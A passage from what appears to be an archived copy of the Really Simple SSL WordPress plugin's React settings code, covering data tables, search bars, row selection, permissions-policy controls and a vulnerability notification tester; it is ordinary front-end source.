export default memo(RowButton);really-simple-ssl/settings/src/Settings/DataTable/SelectedRowsControl/SelectedRowsControl.js000064400000003121147510273070026443 0ustar00import {__, _n} from "@wordpress/i18n";
import DataTableStore from "../DataTableStore";
import MultiSelectButton from "../Buttons/MultiSelectButton";
import './SelectedRowsControl.scss'
import {memo} from "@wordpress/element";
import MenuItem from "../../../Menu/MenuItem";

const SelectedRowsControl = ({ rowsSelected, buttonData }) => {
    const {
        processing,
        filteredData,
    } = DataTableStore();
    //ensure that all items in the rowsSelected array still exist in the filteredData array
    //after a delete this might not be the case
    let rowsSelectedFiltered = rowsSelected.filter(selectedRow =>
        filteredData.some(filteredRow => filteredRow.id === selectedRow.id)
    );

    if ( rowsSelectedFiltered.length === 0 ) {
        return null;
    }

    //parse ids from rowsSelected into array
    const ids = rowsSelectedFiltered.map((row) => row.id);
    return (
        <div className="rsssl-selected-rows-control">
            <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                <div>
                    {_n( "You have selected %d row", "You have selected %d rows", rowsSelectedFiltered.length, 'really-simple-ssl'  ).replace('%d', rowsSelectedFiltered.length )}
                </div>
                <div className="rsssl-action-buttons">
                    <>
                        { buttonData.map((buttonItem, i) => <MultiSelectButton key={"multiselectButton-"+i} ids={ids} buttonData={buttonItem} /> ) }
                    </>
                </div>
            </div>
        </div>
    )
}

export default memo(SelectedRowsControl);
really-simple-ssl/settings/src/Settings/DataTable/SelectedRowsControl/SelectedRowsControl.scss000064400000000505147510273070027005 0ustar00.rsssl-selected-rows-control {
  margin-top: 1em;
  margin-bottom: 1em;

  //blue container above datatable for multiselect
  .rsssl-multiselect-datatable-form {
    display: flex;
    align-items: center;
    Justify-content: space-between;
    width: 100%;
    padding: 1em 2em;
    background: var(--rsp-blue-faded);
  }
}really-simple-ssl/settings/src/Settings/DataTable/DataTable.scss000064400000002056147510273070020721 0ustar00.rsssl-datatable-component {
  margin-left: calc(0px - var(--rsp-spacing-l));
  margin-right: calc(0px - var(--rsp-spacing-l));
  >div {
    //prevent scrollbar on datatable
    overflow: hidden;
  }



    .rdt_TableCol, .rdt_TableCell, .rdt_TableCol_Sortable {
      flex-direction: row;
    }

    .rdt_TableCol:first-child, .rdt_TableCell:first-child {
      min-width: initial;
    }

    .rdt_TableHeadRow {
      .rdt_TableCol:last-child {
        flex-grow: 0;
        flex-direction: row-reverse;
        min-width: initial;
      }
    }

    .rdt_TableRow {
      &:nth-child(odd) {
        background-color: var(--rsp-grey-200)
      }

      padding: var(--rsp-spacing-xs) 0;
      .rdt_TableCell:last-child {
        flex-grow: 0;
      }
    }



  //wp-core also adds an svg for the select dropdown, so we hide the one from the react datatables component
  nav.rdt_Pagination > div > svg {
    display: none !important;
  }



  .rsssl-container {
    padding: 2em;
    display: flex;
    align-items: center;
    justify-content: space-between;
  }

}

really-simple-ssl/settings/src/Settings/DataTable/DataTableStore.js000064400000006523147510273070021402 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";

const DataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    dataActions: {},
    sourceData: [],
    filteredData: [],
    searchTerm:'',
    searchColumns:[],
    reloadFields:false,
    setReloadFields: (reloadFields) => set({reloadFields}),
    clearAllData: () => set({sourceData: [], filteredData: []}),
    setProcessing: (processing) => set({processing}),
    fetchData: async (action, dataActions) => {
        set({processing: true});
        try {
            const response = await rsssl_api.doAction(
                action,
                dataActions
            );
            if (response && response.data ) {
                set({filteredData:response.data, sourceData: response.data, dataLoaded: true, processing: false});
            }
        } catch (e) {
            console.log(e);
        } finally {
            set({processing: false});
        }
    },
    handleSearch: (searchTerm, searchColumns) => {
        set({searchTerm})
        set({searchColumns})
        let data = get().sourceData;
        const filteredData = data.filter(item =>
            searchColumns.some(column =>
                item[column] && item[column].toLowerCase().includes(searchTerm.toLowerCase())
            ));
        set({filteredData: filteredData});
    },
    /*
    * This function handles the filter, it is called from the GroupSetting class
     */
    handleFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },
    restoreView: () => {
        //filter the data again
        let searchTerm = get().searchTerm;
        if ( searchTerm !== '' ) {
            let searchColumns = get().searchColumns;
            get().handleSearch(searchTerm, searchColumns);
        }
    },
    //only removes rows from the dataset clientside, does not do an API call
    removeRows:(ids) => {
        let filteredData = get().filteredData;
        let sourceData = get().sourceData;
        let newFilteredData = filteredData.filter(item => !ids.includes(item.id));
        let newSourceData = sourceData.filter(item => !ids.includes(item.id));
        set({filteredData: newFilteredData, sourceData: newSourceData});
        get().restoreView();
    },
    rowAction: async ( ids, action, actionType, reloadFields ) => {
        actionType = typeof actionType !== 'undefined' ? actionType : '';
        set({processing: true});
        if ( actionType === 'delete' ) {
            get().removeRows(ids);
        }
        let data = {
            ids: ids,
        };
        try {
            const response = await rsssl_api.doAction(
                action,
                data
            );

            if ( response.data ) {
                set({filteredData:response.data, sourceData: response.data, dataLoaded: true, processing: false});
                get().restoreView();
                if (reloadFields)  {
                    get().setReloadFields(reloadFields);
                }
            }

        } catch (e) {
        } finally {
            set({processing: false});
        }
    },
}));

export default DataTableStore;really-simple-ssl/settings/src/Settings/DataTable/SearchBar/SearchBar.scss000064400000001136147510273070022562 0ustar00.rsssl-search-bar {
  float: right;
  padding: 0;
}

.rsssl-search-bar__inner {
  display: flex;
  align-items: center;
  border-radius: 3px;
  transition: background-color 0.3s ease;
}

.rsssl-search-bar__inner:focus-within {
  background-color: #fff;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

.rsssl-search-bar__icon {
  /* Add styles for the search icon */
}

.rsssl-search-bar__input {
  border: none;
  outline: none;
  padding: 3px 5px;
  width: 150px; /* Adjust width as needed */
  transition: width 0.3s ease;
}

.rsssl-search-bar__input:focus {
  width: 200px; /* Adjust width as needed */
}really-simple-ssl/settings/src/Settings/DataTable/SearchBar/SearchBar.js000064400000001701147510273070022221 0ustar00import { useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';
import './SearchBar.scss';
import {memo} from "@wordpress/element";

const SearchBar = ({ handleSearch, searchableColumns }) => {
    const [debounceTimer, setDebounceTimer] = useState(null);

    const onKeyUp = (event) => {
        clearTimeout(debounceTimer);
        setDebounceTimer(setTimeout(() => {
            handleSearch(event.target.value, searchableColumns)
        }, 500));
    };

    return (
        <div className="rsssl-search-bar">
            <div className="rsssl-search-bar__inner">
                <div className="rsssl-search-bar__icon"></div>
                <input
                    type="text"
                    className="rsssl-search-bar__input"
                    placeholder={__("Search", "really-simple-ssl")}
                    onKeyUp={onKeyUp}
                />
            </div>
        </div>
)
}

export default memo(SearchBar);really-simple-ssl/settings/src/Settings/DataTable/Checkboxes.scss000064400000001432147510273070021153 0ustar00//style for checkbox when some rows are selected
.rsssl-indeterminate {
  input[name="select-all-rows"] {
    background: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><rect x="10" y="45" width="80" height="10" fill="currentColor"/></svg>') no-repeat center center;
  }
}

//style for checkbox when all rows are selected
.rsssl-all-selected {
  input[name="select-all-rows"]::before {
    content: url(data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E);
    margin: -0.1875rem 0 0 -0.25rem;
    height: 1.3125rem;
    width: 1.3125rem;
  }
}really-simple-ssl/settings/src/Settings/DataTable/DataTableWrapper.js000064400000016213147510273070021723 0ustar00import {useEffect, useState , memo } from "@wordpress/element";
import DataTable, { createTheme } from "react-data-table-component";

import DataTableStore from "../DataTable/DataTableStore";
import { __ } from '@wordpress/i18n';
import ControlButton from "../DataTable/Buttons/ControlButton";
import RowButton from "../DataTable/Buttons/RowButton";
import SearchBar from "../DataTable/SearchBar/SearchBar";
import SelectedRowsControl from "../DataTable/SelectedRowsControl/SelectedRowsControl";
import './DataTable.scss';
import './Checkboxes.scss';
import useFields from "../FieldsData";
import useMenu from "../../Menu/MenuData";

const DataTableWrapper = ({field, controlButton, enabled}) => {
    const {
        filteredData,
        handleSearch,
        dataLoaded,
        fetchData,
        reloadFields,
    } = DataTableStore();
    const {fetchFieldsData} = useFields();
    const {selectedSubMenuItem} = useMenu();
    const [rowsSelected, setRowsSelected] = useState([]);
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(10);

    useEffect(() => {
        if ( !dataLoaded) {
            fetchData(field.action, {});
        }
    }, [dataLoaded] );

    useEffect(() => {
        if ( reloadFields ) {
            fetchFieldsData(selectedSubMenuItem);
        }
    }, [reloadFields]);

    /**
     * Build a column configuration object.
     *
     * @param {object} column - The column object.
     * @param {string} column.name - The name of the column.
     * @param {boolean} column.sortable - Whether the column is sortable.
     * @param {boolean} column.searchable - Whether the column is searchable.
     * @param {number} column.width - The width of the column.
     * @param {boolean} column.visible - Whether the column is visible.
     * @param {string} column.column - The column identifier.
     *
     * @returns {object} The column configuration object.
     */
    const buildColumn = ({reloadFields, name, isButton, action, label, className, sortable, searchable, width, visible, column}) => ({
        reloadFields, name, isButton, action, label, className, sortable, searchable, width, visible, column, selector: row => row[column],
    });
    const columns = field.columns.map(buildColumn);
    const buttonColumns = columns.filter(column => column.isButton);
    const hasSelectableRows = buttonColumns.length>0;
    const searchableColumns = columns.filter(column => column.searchable).map(column => column.column);

    const customgitStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    const handleSelection = ({selectedCount, selectedRows}) => {
        // based on the current page and the rows per page we get the rows that are selected
        let actualRows = rowsPerPage;
        //in case not all selected, get the rows that are selected from the current page.
        //the datatable component selects 'all' rows, but we only want the rows from the current page.
        let rows = [];
        if ( selectedCount < rowsPerPage ) {
            rows = selectedRows;
            setRowsSelected(selectedRows);
        } else if ( selectedCount >= rowsPerPage ) {
            //previously all rows were selected, but now some were unselected.
            //in the latter case we need to get the rows that are selected from the current page.
            //remove the rows from all pages after the current page
            let diff = filteredData.length - selectedRows.length;
            rows = selectedRows.slice( 0, (currentPage * rowsPerPage) - diff );
            if ( currentPage > 1 ) {
                //remove the rows from all pages before the current page from the selected rows
                rows = rows.slice( (currentPage - 1) * rowsPerPage);
            }
            setRowsSelected(rows);
        }
    }

    const data= dataLoaded && filteredData.length>0 ? {...filteredData} : [];
    for (const key in data) {
        const dataItem = {...data[key]};
        //check if there exists a column with column = 'actionButton'
        if ( buttonColumns.length > 0 ) {
            for (const buttonColumn of buttonColumns) {
                dataItem[buttonColumn.column] = <RowButton id={dataItem.id} buttonData={buttonColumn}/>
            }
        }
        data[key] = dataItem;
    }
    let selectAllRowsClass = "";
    if ( rowsSelected.length>0 && rowsSelected.length < rowsPerPage) {
        selectAllRowsClass = "rsssl-indeterminate";
    }
    if ( rowsSelected.length === rowsPerPage ) {
        selectAllRowsClass = "rsssl-all-selected";
    }
    return (
        <div className={"rsssl-datatable-component"}>
            <div className="rsssl-container">
                {controlButton.show && <ControlButton controlButton={controlButton}/> }
                {/*Ensure that positioning also works without the addButton, by adding a div */}
                { !controlButton.show && <div></div>}
                <SearchBar
                    handleSearch={handleSearch}
                    searchableColumns={searchableColumns}
                />
            </div>

            { field.multiselect_buttons && rowsSelected.length > 0 && (
                <SelectedRowsControl rowsSelected={rowsSelected} buttonData = {field.multiselect_buttons} />
            )}

            <DataTable
                className={ selectAllRowsClass }
                columns={columns}
                data={Object.values(data)}
                dense
                pagination={true}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),
                }}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={hasSelectableRows}
                //clearSelectedRows={() => setRowsSelected([])}
                paginationPerPage={rowsPerPage}
                onChangePage={setCurrentPage}
                onChangeRowsPerPage={setRowsPerPage}
                onSelectedRowsChange={handleSelection}
                theme="really-simple-plugins"
                // customStyles={customStyles}
            />
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay">
                        <span className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span>
                        <span>{__('Here you can add IP addresses that should never be blocked by region restrictions.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </div>
    );
}

export default memo(DataTableWrapper);really-simple-ssl/settings/src/Settings/DynamicDataTable/SearchBar.js000064400000001573147510273070021703 0ustar00import { useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';

const SearchBar = ({ handleSearch, searchableColumns }) => {
    const [debounceTimer, setDebounceTimer] = useState(null);

    const onKeyUp = (event) => {
        clearTimeout(debounceTimer);
        setDebounceTimer(setTimeout(() => {
            handleSearch(event.target.value, searchableColumns)
        }, 500));
    };

    return (
        <div className="rsssl-search-bar">
            <div className="rsssl-search-bar__inner">
                <div className="rsssl-search-bar__icon"></div>
                <input
                    type="text"
                    className="rsssl-search-bar__input"
                    placeholder={__("Search", "really-simple-ssl")}
                    onKeyUp={onKeyUp}
                />
            </div>
        </div>
    )
}

export default SearchBar;really-simple-ssl/settings/src/Settings/DynamicDataTable/DynamicDataTable.js000064400000014302147510273070023171 0ustar00import {__} from '@wordpress/i18n';
import {useRef, useEffect, useState} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import useFields from "../FieldsData";
import DynamicDataTableStore from "./DynamicDataTableStore";

const DynamicDataTable = (props) => {
    const {
        twoFAMethods,
        setTwoFAMethods,
        DynamicDataTable,
        dataLoaded,
        pagination,
        dataActions,
        handleTableRowsChange,
        fetchDynamicData,
        // setDynamicData,
        handleTableSort,
        handleTablePageChange,
        handleTableSearch,
    } = DynamicDataTableStore();

    let field = props.field;
    const [enabled, setEnabled] = useState(false);
    const {fields, getFieldValue, saveFields} = useFields();

    const twoFAEnabledRef = useRef();

    useEffect(() => {
        twoFAEnabledRef.current = getFieldValue('login_protection_enabled');
        saveFields(true, false)
    }, [getFieldValue('login_protection_enabled')]);

    useEffect(() => {
        const value = getFieldValue('login_protection_enabled');
        setEnabled(value);
    }, [fields]);

    useEffect(() => {
        if (!dataLoaded || enabled !== getFieldValue('login_protection_enabled')) {
            fetchDynamicData(field.action)
                .then(response => {
                    // Check if response.data is defined and is an array before calling reduce
                    if(response.data && Array.isArray(response.data)) {
                        const methods = response.data.reduce((acc, user) => ({...acc, [user.id]: user.rsssl_two_fa_status}), {});
                        setTwoFAMethods(methods);
                    } else {
                        console.error('Unexpected response:', response);
                    }
                })
                .catch(err => {
                    console.error(err); // Log any errors
                });
        }
    }, [dataLoaded, field.action, fetchDynamicData, getFieldValue('login_protection_enabled')]); // Add getFieldValue('login_protection_enabled') as a dependency

    useEffect(() => {
        if (dataActions) {
            fetchDynamicData(field.action);
        }
    }, [dataActions]);

    function buildColumn(column) {
        let newColumn = {
            name: column.name,
            column: column.column,
            sortable: column.sortable,
            searchable: column.searchable,
            width: column.width,
            visible: column.visible,
            selector: row => row[column.column],
        };

        return newColumn;
    }

    let columns = [];

    field.columns.forEach(function (item, i) {
        let newItem = { ...item, key: item.column };
        newItem = buildColumn(newItem);
        newItem.visible = newItem.visible ?? true;
        columns.push(newItem);
    });

    let searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    return (
        <>
            <div className="rsssl-search-bar">
                <div className="rsssl-search-bar__inner">
                    <div className="rsssl-search-bar__icon"></div>
                    <input
                        type="text"
                        className="rsssl-search-bar__input"
                        placeholder={__("Search", "really-simple-ssl")}
                        onChange={event => handleTableSearch(event.target.value, searchableColumns)}
                    />
                </div>
            </div>
            {dataLoaded ?
                <DataTable
                    columns={columns}
                    data={DynamicDataTable}
                    dense
                    pagination
                    paginationServer
                    onChangeRowsPerPage={handleTableRowsChange}
                    onChangePage={handleTablePageChange}
                    sortServer
                    onSort={handleTableSort}
                    paginationRowsPerPageOptions={[10, 25, 50, 100]}
                    noDataComponent={__("No results", "really-simple-ssl")}
                    persistTableHead
                    theme="really-simple-plugins"
                    customStyles={customStyles}
                ></DataTable>
                :
                <div className="rsssl-spinner" style={{
                    display: 'flex',
                    justifyContent: 'center',
                    alignItems: 'center',
                    marginTop: "100px"
                }}>
                    <div className="rsssl-spinner__inner">
                        <div className="rsssl-spinner__icon" style={{
                            border: '8px solid white',
                            borderTop: '8px solid #f4bf3e',
                            borderRadius: '50%',
                            width: '120px',
                            height: '120px',
                            animation: 'spin 2s linear infinite'
                        }}></div>
                        <div className="rsssl-spinner__text" style={{
                            position: 'absolute',
                            top: '50%',
                            left: '50%',
                            transform: 'translate(-50%, -50%)',
                        }}>{__("Loading data, please stand by...", "really-simple-ssl")}</div>
                    </div>
                </div>
            }
            { !enabled &&
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Two-Factor Authentication to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            }
        </>
    );



}
export default DynamicDataTable;
really-simple-ssl/settings/src/Settings/DynamicDataTable/DynamicDataTableStore.js000064400000004661147510273070024215 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {produce} from "immer";
import React, {useState} from "react";

const DynamicDataTableStore = create((set, get) => ({

    twoFAMethods: {},
    setTwoFAMethods: (methods) => set((state) => ({ ...state, twoFAMethods: methods })),
    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {},
    DynamicDataTable: [],
    fetchDynamicData: async (action) => {
        try {
            const response = await rsssl_api.doAction(
                action,
                get().dataActions
            );
            let data = Array.isArray(response.data) ? response.data : [];
            let pagination = response.pagination ? response.pagination : 1;
            //now we set the EventLog
            if ( response ) {
                set(state => ({
                    ...state,
                    DynamicDataTable: data,
                    dataLoaded: true,
                    processing: false,
                    pagination: pagination,
                    // Removed the twoFAMethods set from here...
                }));
                // Return the response for the calling function to use
                return response;
            }

        } catch (e) {
            console.log(e);
        }
    },

    handleTableSearch: async (search, searchColumns) => {
        set(produce((state) => {
            state.dataActions = {...state.dataActions, search, searchColumns};
        }));
    },


    handleTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },

    handleTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    //this handles all pagination and sorting
    handleTableSort: async (column, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },

}));

export default DynamicDataTableStore;really-simple-ssl/settings/src/Settings/DynamicDataTable/AddButton.js000064400000001471147510273070021732 0ustar00const AddButton = ({ getCurrentFilter, moduleName, handleOpen, processing, blockedText, allowedText }) => {
    let buttonText = getCurrentFilter(moduleName) === 'blocked' ?  blockedText : allowedText;

    return (
        <div className="rsssl-add-button">
            {(getCurrentFilter(moduleName) === 'blocked' || getCurrentFilter(moduleName) === 'allowed') && (
                <div className="rsssl-add-button__inner">
                    <button
                        className="button button-secondary button-datatable rsssl-add-button__button"
                        onClick={handleOpen}
                        disabled={processing}
                    >
                        {buttonText}
                    </button>
                </div>
            )}
        </div>
    );
};

export default AddButton;really-simple-ssl/settings/src/Settings/PermissionsPolicy.js000064400000017636147510273070020425 0ustar00import {
    Button,
    SelectControl,
} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import {useState,useEffect} from '@wordpress/element';
import Icon from "../utils/Icon";
import useFields from "./FieldsData";
import React from "react";

const PermissionsPolicy = (props) => {
    const {fields, updateField, updateSubField, setChangedField, saveFields} = useFields();
    const [enablePermissionsPolicy, setEnablePermissionsPolicy] = useState(0);
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);
    const [rowsSelected, setRowsSelected] = useState([]);
    const [rowCleared, setRowCleared] = useState(false);
    useEffect( () => {
        import('react-data-table-component').then(({ default: DataTable, createTheme }) => {
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });

    }, []);

    useEffect( () => {
        let field = fields.filter(field => field.id === 'enable_permissions_policy')[0];
        setEnablePermissionsPolicy(field.value);
    }, [] );

    const onChangeHandler = (value, clickedItem ) => {
        let field= props.field;
        if (typeof field.value === 'object') {
            updateField(field.id, Object.values(field.value))
        }

        //the updateItemId allows us to update one specific item in a field set.
        updateSubField(field.id, clickedItem.id, value);
        setChangedField(field.id, value);
        saveFields(true, false);
    }

    const OnClickHandler = (selectedRows, value) => {
        let field= props.field;
        if (typeof field.value === 'object') {
            updateField(field.id, Object.values(field.value))
        }

        selectedRows.forEach(row => {
            //the updateItemId allows us to update one specific item in a field set.
            updateSubField(field.id, row.id, value);
            setChangedField(field.id, value);
        });
        saveFields(true, false);

        setRowCleared(true);
        setRowsSelected([]);
        // Reset rowCleared back to false after the DataTable has re-rendered
        setTimeout(() => setRowCleared(false), 0);
    }


    const togglePermissionsPolicyStatus = (e, enforce) => {
         e.preventDefault();
        //look up permissions policy enable field //enable_permissions_policy
        let field = fields.filter(field => field.id === 'enable_permissions_policy')[0];
        //enforce setting
        setEnablePermissionsPolicy(enforce);
        updateField(field.id, enforce);
        setChangedField(field.id, field.value);
        saveFields(true, false);
    }

    let field = props.field;
    let fieldValue = field.value;
    const buttons = [
        'button-secondary',
        'button-primary',
        'button-red',
    ];
    //we add a button property to the options

    let options = props.options.map((option, index) => {
        option.button = buttons[index];
        return option;
    });

    columns = [];
    field.columns.forEach(function(item, i) {
        let newItem = {
            name: item.name,
            sortable: item.sortable,
            width: item.width,
            selector: row => row[item.column],
        }
        columns.push(newItem);
    });
    let data = field.value;
    if (typeof data === 'object') {
        data = Object.values(data);
    }
    if (!Array.isArray(data) ) {
        data = [];
    }
    let disabled = false;
    let outputData = [];
    for (const item of data){
        let itemCopy = {...item};
        itemCopy.valueControl = <SelectControl
            help=''
            value={item.value}
            disabled={disabled}
            options={options}
            label=''
            onChange={ ( fieldValue ) => onChangeHandler( fieldValue, item, 'value' ) }
        />
        outputData.push(itemCopy);
    }

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };

    function handleSelection(state) {
        setRowCleared(false);
        setRowsSelected(state.selectedRows);
    }

    if (!DataTable || !theme) return null;


    return (
        <div>
            {rowsSelected.length > 0 && (
            <div
                style={{
                    marginTop: '1em',
                    marginBottom: '1em',
                }}
            >
                <div
                    className={"rsssl-multiselect-datatable-form rsssl-primary"}
                >
                    <div>
                        {__("You have selected", "really-simple-ssl")} {rowsSelected.length} {__("rows", "really-simple-ssl")}
                    </div>

                    <div className="rsssl-action-buttons">
                        {options.map((option) => (
                            <div className="rsssl-action-buttons__inner" key={'option-'+option.value}>
                                <Button
                                    // className={"button button-red rsssl-action-buttons__button"}
                                    className={"button " + option.button + " rsssl-action-buttons__button"}
                                    onClick={ ( fieldValue ) => OnClickHandler( rowsSelected, option.value ) }
                                >
                                    {option.value === 'self' ? __("Reset", "really-simple-ssl") : __(option.label, "really-simple-ssl")}
                                </Button>
                            </div>
                        ))}
                    </div>
                </div>
            </div>
        )}
                <DataTable
                    columns={columns}
                    data={outputData}
                    dense
                    pagination={false}
                    customStyles={customStyles}
                    theme={theme}
                    selectableRows
                    selectableRowsHighlight={true}
                    onSelectedRowsChange={handleSelection}
                    clearSelectedRows={rowCleared}
                />
                { enablePermissionsPolicy!=1 && <button className="button button-primary" onClick={ (e) => togglePermissionsPolicyStatus(e, true ) }>{__("Enforce","really-simple-ssl")}</button> }
                { enablePermissionsPolicy==1 && <div className="rsssl-locked">
                    <div className="rsssl-shield-overlay">
                        <Icon name = "shield"  size="80px"/>
                    </div>
                    <div className="rsssl-locked-overlay">
                        <span className="rsssl-progress-status rsssl-learning-mode-enforced">{__("Enforced","really-simple-ssl")}</span>
                        { props.disabled && <>{ __("Permissions Policy is set outside Really Simple Security.", "really-simple-ssl")}&nbsp;</>}
                        { !props.disabled && <>{__("Permissions Policy is enforced.", "really-simple-ssl")}&nbsp;</>}
                        { !props.disabled && <a className="rsssl-learning-mode-link" href="#" onClick={ (e) => togglePermissionsPolicyStatus(e, false) }>{__("Disable", "really-simple-ssl") }</a> }
                    </div>
                </div>}
                { props.disabled && enablePermissionsPolicy!=1 && <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay">
                        <span className="rsssl-progress-status rsssl-disabled">{__("Disabled","really-simple-ssl")}</span>
                        {__("The Permissions Policy has been disabled.", "really-simple-ssl")}
                    </div>
                </div>}
        </div>
    )
}


export default PermissionsPolicyreally-simple-ssl/settings/src/Settings/Button.js000064400000002757147510273070016203 0ustar00import Hyperlink from "../utils/Hyperlink";
import * as rsssl_api from "../utils/api";
import useFields from "./FieldsData";
import Icon from "../utils/Icon";
import {useState} from "@wordpress/element";

/**
 * Render a help notice in the sidebar
 */
const Button = (props) => {
    const {addHelpNotice} = useFields();
    const [processing, setProcessing] = useState(false);
    const {fields} = useFields();

    const onClickHandler = async (action) => {
        let data = {};
        setProcessing(true);
        data.fields = fields;
        await rsssl_api.doAction(action, data).then((response) => {
            let label = response.success ? 'success' : 'warning';
            let title = response.title;
            let text = response.message;
            setProcessing(false);
            addHelpNotice(props.field.id, label, text, title, false);
        });
    }

    let is_disabled = !!props.field.disabled;

    return (
        <>
            { props.field.url &&
                <Hyperlink className={"button button-default"} disabled={is_disabled} text={props.field.button_text} url={props.field.url}/>
            }
            { props.field.action &&
                <button onClick={ () => onClickHandler( props.field.action ) }  className="button button-default" disabled={is_disabled}>
                    {props.field.button_text}
                    {processing && <Icon name = "loading" color = 'grey' />}
                </button>
            }
        </>
    );
}

export default Buttonreally-simple-ssl/settings/src/Settings/RiskConfiguration/datatable.scss000064400000000317147510273070022636 0ustar00.rsssl-vulnerabilities_overview {
  div[data-column-id="4"].rdt_TableCol {
    display:block;
  }

    .rdt_TableCell:last-child {
      flex: auto;
      padding-right: 20px;
      margin-right: 0;
    }

}really-simple-ssl/settings/src/Settings/RiskConfiguration/NotificationTester.js000064400000011260147510273070024172 0ustar00import * as rsssl_api from "../../utils/api";
import useFields from "../FieldsData";
import {__} from "@wordpress/i18n";
import {useEffect, useState} from "react";
import useRiskData from "./RiskData";

const NotificationTester = (props) => {
    const {
        fetchVulnerabilities,riskLevels
    } = useRiskData();
    const {field} = props;
    const [disabled, setDisabled] = useState(true);
    const [mailNotificationsEnabled, setMailNotificationsEnabled] = useState(true);
    const [vulnerabilitiesEnabled, setVulnerabilitiesEnabled] = useState(false);
    const [vulnerabilitiesSaved, setVulnerabilitiesSaved] = useState(false);
    const {addHelpNotice, fields, getFieldValue, updateField, setChangedField, fieldAlreadyEnabled, fetchFieldsData, updateFieldAttribute} = useFields();
    useEffect ( () => {
        let mailEnabled = getFieldValue('send_notifications_email') == 1;
        let vulnerabilities = fieldAlreadyEnabled('enable_vulnerability_scanner');
        setMailNotificationsEnabled(mailEnabled);
        let enableButton = mailEnabled && vulnerabilities;
        setDisabled(!enableButton);
        setMailNotificationsEnabled(mailEnabled);
        setVulnerabilitiesSaved(vulnerabilities);
        setVulnerabilitiesEnabled(getFieldValue('enable_vulnerability_scanner') == 1)
    },[fields])

    const doTestNotification = async () => {
        //Test the notifications
        setDisabled(true);
        rsssl_api.doAction( 'vulnerabilities_test_notification' ).then( () => {
            setDisabled(false);
            fetchFieldsData('vulnerabilities');
            fetchVulnerabilities();
            addHelpNotice(
                field.id,
                'success',
                __('All notifications are triggered successfully, please check your email to double-check if you can receive emails.','really-simple-ssl'),
                __('Test notifications','really-simple-ssl'),
                false
            );
        });
    }

    //ensure that risk levels are enabled cascading
    useEffect( () => {
        let dashboardRiskLevel = getFieldValue('vulnerability_notification_dashboard');
        dashboardRiskLevel = riskLevels.hasOwnProperty(dashboardRiskLevel) ? riskLevels[dashboardRiskLevel] : 0;
        // let siteWideRiskLevel = getFieldValue('vulnerability_notification_sitewide');
        //the sitewide risk level should be at least as high as the dashboard risk level. Disable lower risk levels in sitewide
        //create an array of ints from 1 to dashboardRiskLevel, we drop the * from the array
        let priorDashboardRiskLevel = dashboardRiskLevel>0 ? dashboardRiskLevel-1 :dashboardRiskLevel;
        let dashboardRiskLevels = Array.from(Array(priorDashboardRiskLevel).keys()).map(x => x );
        //convert these integers back to risk levels
        //find the integer value in the riskLevels object, and return the key
        dashboardRiskLevels = dashboardRiskLevels.map( (level) => {
            return Object.keys(riskLevels).find(key => riskLevels[key] === level  );
        });

        if (dashboardRiskLevels.length > 0) {
